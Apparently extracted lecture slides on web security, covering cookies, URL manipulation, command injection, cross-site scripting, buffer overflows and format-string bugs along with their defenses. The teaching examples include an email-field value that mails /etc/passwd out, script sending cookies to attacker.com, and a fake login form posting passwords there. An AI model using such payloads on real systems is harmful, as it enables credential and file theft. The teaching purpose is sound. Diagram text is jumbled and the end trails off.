Network Security 3
Network Security 3
► Used to send data from the user to the server (e.g., online
applications, queries to a database, etc.)
► If pure HTTP is used, then the data is sent as clear text
► Sensitive information can be eavesdropped and/or
modified
Helper Applications
► The browser cannot handle all kind of downloaded
data
► It invokes an external program (the helper) on
the user’s machine with the downloaded data as
parameter
► e.g., to display a PostScript file, it may pass it to
GhostView
► Downloaded content can be dangerous (e.g., MS
Word and Excel files may contain macro viruses)
Mobile Code Java Applets
► Normally run within a controlled environment
(sandbox)
► Access to local resources is strictly controlled by
a security manager
► However, an applet may escape from the
sandbox due to some bugs in the
implementation of the Java Virtual Machine
► Several such bugs have been discovered,
reported, and fixed
► What guarantees that there’s no more?
ActiveX Controls
► A Microsoft approach to mobile code
► ActiveX controls are executables that run directly on
the machine (there’s no sandbox)
► ActiveX controls can be signed and declared safe by
their creators
► But an ActiveX control declared safe may turn out to
be dangerous
Compaq signed a control safe which allowed for remote
management of servers
Microsoft signed a control which could write arbitrary file on
the hard disk (it was exploited by a virus Kak.Worm)
JavaScript != Java Applet
► Scripts are interpreted by the browser itself
► Not as powerful as Java (e.g., many attacks require that
the user clicks on a button to activate the malicious code)
► Successful attacks reported include history tracking,
stealing files, helping Java applets to bypass firewalls, etc.
Cookies
► A cookie is a (name, value) pair
► Cookies are set by web servers and stored by web
browsers
► A cookie set by a server is sent back to the server when
the browser visits the server again
► Used to create “HTTP sessions” (session state information
is stored in cookies)
Cookies: Example
client server
get index.html
…
► If cookies are sent in clear, then they can be eavesdropped
and used to hijack an “HTTP session”
► Cookies can be used to track what sites the user visits (can
lead to serious privacy violation!)
Many sites use third party advertisements
The third party can set a cookie that identifies the user
Cookies: Example
► This cookie is sent to the third party each time an ad is
downloaded by the user’s browser along with the address
of the page that contains the link to the ad (the “referrer”
field of the HTTP header contains this address)
whatever.com
index.html
<html>
…
browser
browser <img src=“http://thirdparty.com/ad_server.asp”>
…
</html>
get ad_server.asp +
referrer=“whatever.com/index.html” +
cookie: user=123456789
thirdparty.com
thirdparty.com
Case-study: home-banking application
-- Authentication process -- Web
Mario Rossi
Application
[1] https://www.mia-banca.it
[1] https://www.mia-banca.it
Credential verify: if ok
[3] Insert username/password via HTTPS client authenticated
Username/password
Cookie generation
HTTP(S)
FTP
Firewall Web Server Data Base
Server
RPC
URL Manipulation
URL Manipulation (contd)
URL Manipulation (contd)
► GET request sends important parameters on the URL
► The parameters can be manipulated to give undesired results
► The GET requests are stored in the browser history
► Impact is HIGH
► Variants work on any user input on web page, hidden values or
information stored in cookies.
http://www.paladiontest.com/example?accountnumber=12345&debitamount=1
URL Manipulation - Solution
► The best solution is to avoid sending critical
parameters in a query string
Login Successful
http://target.site/login.jsp
`
Expected
The Unexpected
from user
Malicious User
Unexpected User Input: Example II
► User can type his/her e-mail address in a form and the
server sends him/her the latest public company report
Assume the following perl script is used on the server
system(“sendmail $address < report.doc”);
With $address = [email protected]
system(“sendmail [email protected] < report.doc”);
With $address = [email protected] <
/etc/passwd | sendmail [email protected]
system(“sendmail [email protected] < /etc/passwd | sendmail
[email protected] < report.doc”);
Cross Site Scripting Example
Attacker.com Bank.com
Webpage + Cookies
Reflected Code
Malicious link on <SCRIPT>Send Cookie to
webpage or email with attacker.com</SCRIPT>
malicious link
Executed
Malicious Link http://bank.com/login/
http://bank.com/account.jsp? <SCRIPT>Send cookie to attacker.com `
User
Internet
Banking
Cookie
Cross Site Scripting
► Attacker arranges that the victim receives a
malicious script from a trusted server
► Example:
UserX places the script in the “guest book” of
UserB
UserA visits the “guest book” of UserB
His browser downloads and runs UserX’s script
Cross Site Scripting: Example
► Requesting a non-existent file abcd.html from some web servers, they
return error messages like:
“The requested file abcd.html cannot be found on the server.”
Attacker can place the following link on a page:
< a href=“http://trusted.server.com/is protected. The server needs you to
login.<br><form action="http://attacker.com/cgiscript.cgi"
method="post">Username: <input type="text"
name="name"><br>Password: <input type="password"
name="pass"><br><input type="submit"
value="Login"></form><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>”>
What Will Happen?
► Alice clicks on the link
► HTTP request is sent to trusted.server.com
► Server returns the usual error page, but it will look
like a login window...
The requested file is protected. The server needs you to log in.
Username:
Password:
browser window
Login
Login
top
*str ret str of
stack
Possible Results of Buffer Overruns
Possible Result Hacker’s Goal
{ int
char localVariable[4];
Return
int anotherLocalVariable; address
strcpy (localVariable, uncheckedData);
}
Heap Overruns
► Overwrite data stored on the heap
► Are harder to exploit than a buffer overrun
Data
Pointer
Data
strcpy xxxxxxx
Data
xxxxxxx
Pointer
Pointer
Preventing overflow attacks
► Main problem:
strcpy(), strcat(), sprintf() have no range checking.
“Safe” versions strncpy(), strncat() are misleading
► strncpy() may leave buffer unterminated.
► strncpy(), strncat() encourage “off by 1” bugs.
► Defenses:
Type safe languages (Java, ML). Legacy code?
Mark stack as non-execute. Random stack location.
Static source code analysis.
Run time checking: StackGuard, Libsafe, SafeC, etc.
Marking stack as non-execute
► Basic stack exploit can be prevented by marking
stack segment as non-executable.
► Problems:
Some apps need executable stack (e.g. LISP
interpreters).
Run time checking: StackGuard
► Many many run-time checking techniques …
Here, only discuss methods relevant to overflow protection.
CANARY
Stack arrays
Growth
Local variables Ptrs, but no arrays
Run time checking: Libsafe
► Solutions 2: Libsafe (Avaya Labs)
Dynamically loaded library.
Intercepts calls to strcpy (dest, src)
►Validates sufficient space in current stack frame:
|frame-pointer – dest| > strlen(src)
►If so, does strcpy.
Otherwise, terminates application.
top
sfp ret-addr dest src buf sfp ret-addr of
stack
libsafe main
Format string bugs
Format string problem
int func(char *user) {
fprintf( stdout, user);
}
Correct form:
int func(char *user) {
fprintf( stdout, “%s”, user);
}
Vulnerable functions
Any function using a format string.
Printing:
printf, fprintf, sprintf, …
vprintf, vfprintf, vsprintf, …
Logging:
syslog, err, warn
Overflow using format string
char errmsg[512], outbuf[512];
???????????????
???????????????
????